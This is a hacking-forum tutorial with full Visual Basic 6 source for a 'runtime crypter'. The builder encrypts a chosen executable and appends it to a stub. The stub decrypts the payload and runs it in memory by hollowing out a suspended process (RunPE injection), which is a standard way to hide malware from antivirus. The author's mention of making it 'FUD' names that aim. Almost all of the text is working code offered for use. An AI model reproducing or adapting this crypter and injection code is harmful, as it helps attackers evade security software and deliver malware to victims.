Make Your Own "Runtime Crypter"

Make Your Own "Runtime Crypter"
== By Theref ==

Ok, in this tutorial I am going to explain you how to make your own Runtime Crypter. The crypter won't be FUD, but that's not my point here. I just want to show you how the basic runtime crypter works. Well, if you are not familiar with VB6 yet, read some basic guide about how to use it, so you won't face any problem when follow this tutorial. So let's get it started, for this Runtime Crypter we need to make 2 Projects, the first project is the crypter, and the second project will be the stub. 

1.The Crypter
Open up a new project, and put several components. We need a textbox, two command buttons, and common dialog. And put the the followings into their properties
Text1; Text=“”
Command1; Caption=”...”
Command2; Caption=”Crypt!”
CommonDialog1; Just let it be
PS: If you can't find the CommonDialog, make sure you have added it into the components.

 

And, The Form will looks like this

Now, double click at Command1 and add these commands

Code:

With CommonDialog1
        .DialogTitle = "Select The file you Want to Protect"
        .Filter = "EXE Files |*.exe"
        .ShowOpen
End With

If Not CommonDialog1.FileName = vbNullString Then

Text1.Text = CommonDialog1.FileName

End If

Next double click at the Command2 and add these commands

Code:

Dim Stub As String

Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1

With CommonDialog1

        .DialogTitle = "Select Where you want to Save Crypted File"
        .Filter = "EXE Files |*.exe"
        .ShowSave

End With

Dim File As String

Open Text1.Text For Binary As #1
File = Space(LOF(1))
Get #1, , File
Close #1

File = RC4(File, "therefenge")

Open CommonDialog1.FileName For Binary As #1
Put #1, , Stub & "[Theref]" & File
Close #1

MsgBox "Succesfully Crypted", vbInformation

Ok, next, View your codes. You will see the Command1 and Command2 codes, now we need to put the RC4 Function somewhere, copy this codes below the Command1 & 2 codes.

Code:

Public Function RC4(ByVal Data As String, ByVal Password As String) As String ' This is a Modified RC4 Function ^^
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
    Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
    F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
    Y = (Y + F(Y) + 1) Mod 256
    Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function

Hell, we have finished our Crypter. Now we need to make the stub

---

2.The Stub
Ok so, open up a new project. And delete the form1 since we don't need any form in our crypter. And add 2 modules in it. 
The First Module will be the main
The Second Module will be the RunPe Module

And it will look like this


Now, double click on the second module, and put in the RunPe module in it.

Code:

Option Explicit

Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40

Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long

Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type

Private Type CONTEXT
ContextFlags As Long

Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long

FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
' NT additional fields.
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type

Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim i As Long
Dim lMod As Long

lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function

lPtr = VarPtr(bvASM(0))
RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
For i = UBound(Params) To 0 Step -1
RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
Next
RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
End Function

Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT

Si.cb = Len(Si)

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0

For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i

Ctx.ContextFlags = CONTEXT_FULL
CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub

Public Function StrToBytArray(ByVal sStr As String) As Byte()
Dim i As Long
Dim Buffer() As Byte
ReDim Buffer(Len(sStr) - 1)
For i = 1 To Len(sStr)
Buffer(i - 1) = Asc(Mid(sStr, i, 1))
Next i
StrToBytArray = Buffer
End Function

Public Function ThisExe() As String
Dim lRet As Long
Dim bvBuff(255) As Byte
lRet = CallAPI("kernel32", "GetModuleFileNameA", App.hInstance, VarPtr(bvBuff(0)), 256)
ThisExe = Left$(StrConv(bvBuff, vbUnicode), lRet)
End Function

Next for the First module, put in these codes

Code:

Sub Main()

Dim SHIT As String

SHIT = App.Path & "\" & App.EXEName & ".exe"

Dim Data As String

Open SHIT For Binary As #1

Data = Space(LOF(1))
Get #1, , Data
Close #1

Dim Delimiter() As String

Delimiter() = Split(Data, "[Theref]")

Delimiter(1) = RC4(Delimiter(1), "therefenge")

Call Injec(SHIT, StrConv(Delimiter(1), vbFromUnicode), vbNullString)

End Sub

Public Function RC4(ByVal Data As String, ByVal Password As String) As String ' This is a Modified RC4 Function ^^
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
    Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
    F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
    Y = (Y + F(Y) + 1) Mod 256
    Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function

Note that the "Sub Main()" are the first thing that the stub will do when it got executed.

So, we have the crypter and the stub. Now, compile the crypter into Crypter.exe (or Etc), but you must compile the stub as Stub.exe (Just take look at the crypter script that it needs "Stub.exe").
After You have compiled them all, place them into one folder.
©2011, copyright BLACK BURN